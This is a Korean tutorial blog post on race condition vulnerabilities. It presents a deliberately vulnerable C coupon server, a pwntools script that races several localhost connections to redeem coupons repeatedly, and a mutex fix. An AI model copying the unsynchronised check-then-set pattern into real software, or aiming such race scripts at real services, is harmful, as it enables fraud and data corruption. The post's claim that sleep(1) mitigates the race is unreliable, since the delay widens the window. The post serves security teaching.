시스템 해킹 실습 -12 . Race Condition (레이스 컨디션 취약점)

2024. 7. 24. 23:35Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

배울내용:

Race Condition Vulnerability

논리 취약점

시스템 해킹 실습 

Race condition 실습

레이스 컨디션 취약점

동시 실행 취약점

경쟁상대 컨텍스트

뮤텍스

Mutex

Mutual Exclusion

 

Race Condition (레이스 컨디션 취약점)

 

사진출처 : https://www.geeksforgeeks.org/race-condition-vulnerability/

 

 

Race condition 취약점이란?

소프트웨어 시스템에서 두 개 이상의 작업이 동시에 실행될 때 발생할 수 있는 보안 취약점이다. 이러한 상황에서 시스템의 상태나 데이터의 무결성이 보장되지 않아서 예기치 않은 결과가 발생할 수 있다.

 

 

 

 

 

 

 

발생원인 

전역 변수와 같이 여러 쓰레드 에서 동시에 접근 가능한 '공유자원' 이 존재할 때, 해당 자원에 대한 접근 제어를 올바르게 수행하지 못 했을 경우 발생, 파일을 공유하는 여러 프로세스에서 발생할 수도 있다.

 

 

의미

공유 자원의 기능에 따라 Race Condition 취약점 자체만으로 위험할 수도 있으며, Out of Bound , Use After Free 와 같은 다른 취약점으로 연계가 가능하므로 위험한 취약점에 속한다.

 

 

 

 

 

 

예시

 

 

 

 

코드작성

 

race_condition.c 

더보기

race_condition.c

/*
    gcc race_condition.c -o race_condition
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>

#define PORT (8888)
#define BUFFER_SIZE (1024)

#define send_msg(sock, msg) (send(sock, msg, strlen(msg), 0))

typedef struct {
    int id;
    int balance;
    int is_used;
} Coupon;

typedef struct {
    int id;
    char name[24];
    int balance;
    Coupon coupons[5];
} Account;
Account accounts[10];
int account_cur = 0;

int receive_data(int sock, char *buf) {
    memset(buf, 0, BUFFER_SIZE);
    return recv(sock, buf, BUFFER_SIZE - 1, 0);
}

int receive_int(int sock, char *buf) {
    receive_data(sock, buf);
    return atoi(buf);
}

int receive_string(int sock, char *buf) {
    receive_data(sock, buf);
    return strlen(buf);
}

void print_menu(int sock) {
    send_msg(sock, "1. Create account\n");
    send_msg(sock, "2. View account\n");
    send_msg(sock, "3. Use coupon\n");
    send_msg(sock, "4. Buy item\n");
    send_msg(sock, "5. Exit\n");
    send_msg(sock, "> ");
}

void print_accounts(int sock){
    char buf[128] = {};
    send_msg(sock, "[Accounts]\n");
    if(account_cur){
        for(int i = 0; i < account_cur; i++){
            sprintf(buf, "[%d]", i);
            send_msg(sock, buf);
        }
    }
    send_msg(sock, "\n");
}

void create_account(int sock, char *buf) {
    if (account_cur >= 10) {
        send_msg(sock, "Too many accounts...\n");
        return;
    }

    send_msg(sock, "Name> ");
    int n = receive_string(sock, buf);
    n = n < 24 ? n : 23;

    accounts[account_cur].id = account_cur;
    strncpy(accounts[account_cur].name, buf, n);
    accounts[account_cur].balance = 0;
    for (int i = 0; i < 5; i++) {
        accounts[account_cur].coupons[i].id = i;
        accounts[account_cur].coupons[i].balance = 5000;
        accounts[account_cur].coupons[i].is_used = 0;
    }

    account_cur++;

    send_msg(sock, "Successfully created!\n\n");
}

void view_account(int sock, char *buf) {
    if (!account_cur){
        send_msg(sock,"Account not Exists..\n\n");
        return;
    }
    send_msg(sock, "Account> ");
    int account_id = receive_int(sock, buf);
    if (account_id >= account_cur) {
        send_msg(sock, "Invalid account...\n\n");
        return;
    }

    char tmp[1024] = {};
    sprintf(tmp,"\nName:%sBalance : %d\n\n",accounts[account_id].name, accounts[account_id].balance);
    send_msg(sock, tmp);
}

void use_coupon(int sock, char *buf) {
    send_msg(sock, "Account> ");
    int account_id = receive_int(sock, buf);
    if (account_id >= account_cur) {
        send_msg(sock, "Invalid account...\n\n");
        return;
    }

    send_msg(sock, "Coupon[0-4]> ");
    int coupon_id = receive_int(sock, buf);
    if (0 > coupon_id || coupon_id >= 5) {
        send_msg(sock, "Invalid coupon...\n\n");
        return;
    }

    if (accounts[account_id].coupons[coupon_id].is_used) {
        send_msg(sock, "Already used coupon...\n\n");
        return;
    }

    accounts[account_id].balance += accounts[account_id].coupons[coupon_id].balance;
    sleep(1);
    accounts[account_id].coupons[coupon_id].is_used = 1;

    send_msg(sock, "Successfully used!\n\n");
}

void buy_item(int sock, char *buf) {
    send_msg(sock, "Account> ");
    int account_id = receive_int(sock, buf);
    if (account_id >= account_cur) {
        send_msg(sock, "Invalid account...\n\n");
        return;
    }

    if (accounts[account_id].balance < 50000) {
        send_msg(sock, "Insufficient balance...\n\n");
        return;
    }

    accounts[account_id].balance -= 50000;
    send_msg(sock, "You Win!\n\n");
    sleep(3);
    exit(0);
}

void *connection_handler(void *args) {
    int sock = *(int *)args;
    char buf[BUFFER_SIZE];

    while (1) {
        print_accounts(sock);
        print_menu(sock);
        int menu = receive_int(sock, buf);

        switch (menu) {
        case 1:
            create_account(sock, buf);
            break;

        case 2:
            view_account(sock, buf);
            break;

        case 3:
            use_coupon(sock, buf);
            break;

        case 4:
            buy_item(sock, buf);
            break;

        case 5:
            send_msg(sock, "Bye~\n");
            goto ESCAPE;

        default:
            send_msg(sock, "Invalid menu...\n\n");
            break;
        }
    }

    ESCAPE:

    close(sock);

    return NULL;
}

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    signal(SIGPIPE, SIG_IGN);
}

int main() {
    init();

    int serv_sock, clnt_sock;
    struct sockaddr_in serv_sockaddr, clnt_sockaddr;
    socklen_t clnt_sockaddr_len = sizeof(clnt_sockaddr);
    pthread_t th;

    serv_sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_sockaddr.sin_family = AF_INET;
    serv_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_sockaddr.sin_port = htons(PORT);

    if (bind(serv_sock, (struct sockaddr*)&serv_sockaddr, sizeof(serv_sockaddr)) != 0) {
        perror("bind");
        exit(1);
    }

    if (listen(serv_sock, 0) != 0) {
        perror("listen");
        exit(1);
    }

    while (1) {
        clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_sockaddr, &clnt_sockaddr_len);
        if (clnt_sock == -1) {
            perror("accept");
            break;
        }

        if (pthread_create(&th, NULL, connection_handler, (void*)&clnt_sock) != 0) {
            perror("pthread_create");
            close(clnt_sock);
            break;
        }

        clnt_sockaddr_len = sizeof(clnt_sockaddr);
    }

    close(serv_sock);

    return 0;
}

 

 

위에를 작성한후 프롬프트 창 2개를 연다음에 
1개는 아래와 같이 ./race_condition 을 하여 서버를 열어준다

 

이렇게 된상태면 정상적으로 서버가 열려있는것이다

 

 

또다른 터미널 하나는 아래처럼 연결하면 연결된다

 

 

그리고나서 이것저것 해보자 

 

계정을 만들고 계정의 balance 를확인, 쿠폰사용, 아이템 구매, 종료가 있다  

 

위와 같이 해보면 아래의 표와같이 조건을 알수있게 된다

 

Create account  최대 10개 (0~9) 까지 생성가능
View account idx 입력하면 balance 가 출력
Use coupon 0~4 (5개) 를 쓸수있고 개당 5000 충전
Buy item 5 만원이상이면 구매가능 (성공플레그) >> 이건 소스코드확인

 

 

그런데 한가지 더 , Use coupon 을하면 조금기다린후에 실행이 되는데 

소스코드를 보면 sleep(1) 1초정도 기다리는게 있다.

 

 

    accounts[account_id].balance += accounts[account_id].coupons[coupon_id].balance;
    sleep(1);
    accounts[account_id].coupons[coupon_id].is_used = 1;

 

sleep(1)의 목적

만약 sleep(1)이 없을 경우, 두 개의 스레드가 동일한 계정의 동일한 쿠폰을 동시에 사용하려고 할 때 다음과 같은 문제가 발생할 수 있기 떄문이다.

  1. 스레드 A와 스레드 B가 동시에 쿠폰 사용을 요청
  2. 스레드 A와 스레드 B가 동시에 is_used 필드를 확인하여 아직 사용되지 않았음을 확인
  3. 스레드 A가 잔액을 추가하고, 거의 동시에 스레드 B도 잔액을 추가
  4. 두 스레드가 모두 잔액을 추가한 후 is_used 필드를 1로 설정

 

sleep(1)은 이런 경쟁 상태를 완화하려는 의도로 삽입된 것이다.

스레드가 잔액을 추가한 후

1초간 멈춤으로써 다른 스레드가 is_used 필드를 확인하고 쿠폰을 사용할 가능성을 줄인다. 하지만, 이 방법은 근본적인 해결책이 아니다. 실제로는 여전히 경쟁 상태가 발생할 가능성이 있다.

 

 

해결책은 제일 아래에서확인 가능하다 

 

 

스크립트 작성

더보기
from pwn import *
from multiprocessing import Process

connections = []

for i in range(5):
    connections.append(remote("localhost",8888))

def create_account(p , name):
    p.sendlineafter(b"> ",b"1")
    p.sendlineafter(b"> ",name)

def use_coupon(p,account_idx, coupon_idx):
    p.sendlineafter(b"> ",b"3")
    p.sendlineafter(b"> ",str(account_idx).encode())
    p.sendlineafter(b"> ",str(coupon_idx).encode())

def buy_item(conn,account_idx):
    conn.sendlineafter(b"> ",b"4")
    conn.sendlineafter(b"> ", str(account_idx).encode())

#방법1
# create_account(connections[0] , b"AAAA")
# for coupon_idx in range(5):
#     for connection in connections: 
#         use_coupon(connection,0,coupon_idx)

#방법2
create_account(connections[0] , b"AAAA")
for coupon_idx in range(5):
    for connection in connections: 
        use_coupon(connection,0,coupon_idx)
        Process(target=use_coupon, args=(connection,1,coupon_idx)).start()

 

 

먼저 스크립트 코드를 실행하기전에 서버를 열어야하니 터미널창을 2개를 준비한다 

 

1개는 아래와 같이 ./race_condition 을 하여 서버를 열어준다

 

이렇게 된상태면 정상적으로 서버가 열려있는것이다

 

 

또다른 터미널 하나는 아래처럼 연결하면 연결된다

nc 0 8888

 

 

 

그러나 이미 아래의 코드에서 5 개나 연결해주는걸 만들었기떄문에 따로 실행할때 연결할 필요가 없다

for i in range(5):
    connections.append(remote("localhost",8888))

 

 

그러면  파이썬 프로그램을 "python3 ./ex.py(파일명이름)" 의 명령어로 실행만 해주면 된다 

 

 

 

그러면 for 문에 있던 서버 연결을 다해주고 잠시 기다린다 

 

 

그러면 모든 커넥션이 닫히게되고 코드가 종료되는데 이 이후에 한번더 nc 0 8888 로 연결해본다  

 

 

 

그러면 만들지도 않았던 계정이 여려개 보이는걸로 봐   , 스크립트가 정상적으로 작동된것으로 보인다 

그리고 

 

 

 

0번쨰의 인덱스의 계정을 확인해보면 돈이 80000원 이상인걸 볼수있고 이는 4번 buy item 에 조건에 충족함으로

4번을 입력후 0 을 입력하면 성공 플레그를 뛰울수있게된다.

 

 

 

 

 

그러면 이제 저렇게 공격을 막을려면 어떨게 해야할까??

 

 


근본적인 해결책

경쟁 상태를 방지하기 위해서는 동기화 메커니즘을 사용해야 한다. 예를 들어, 뮤텍스(Mutex)와 같은 잠금(lock) 메커니즘을 사용하여 특정 코드 블록을 한 번에 하나의 스레드만 접근할 수 있도록 해야 한다.

 

 

pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

void use_coupon(int sock, char *buf) {
    pthread_mutex_lock(&lock); // 잠금

    send_msg(sock, "Account> ");
    int account_id = receive_int(sock, buf);
    if (account_id >= account_cur) {
        send_msg(sock, "Invalid account...\n\n");
        pthread_mutex_unlock(&lock); // 잠금 해제
        return;
    }

    send_msg(sock, "Coupon[0-4]> ");
    int coupon_id = receive_int(sock, buf);
    if (0 > coupon_id || coupon_id >= 5) {
        send_msg(sock, "Invalid coupon...\n\n");
        pthread_mutex_unlock(&lock); // 잠금 해제
        return;
    }

    if (accounts[account_id].coupons[coupon_id].is_used) {
        send_msg(sock, "Already used coupon...\n\n");
        pthread_mutex_unlock(&lock); // 잠금 해제
        return;
    }

    accounts[account_id].balance += accounts[account_id].coupons[coupon_id].balance;
    accounts[account_id].coupons[coupon_id].is_used = 1;

    send_msg(sock, "Successfully used!\n\n");
    
    pthread_mutex_unlock(&lock); // 잠금 해제
}

 

위와 같이 여러 스레드가 동시에 접근할 수 없는 공유 자원을 보호하기 위해 사용되는 동기화 도구인

뮤텍스(Mutex, Mutual Exclusion)로 특정 코드 블록이 한 번에 하나의 스레드만 접근할 수 있게 되어, 경쟁 상태를 방지할 수 있다.

 

 

728x90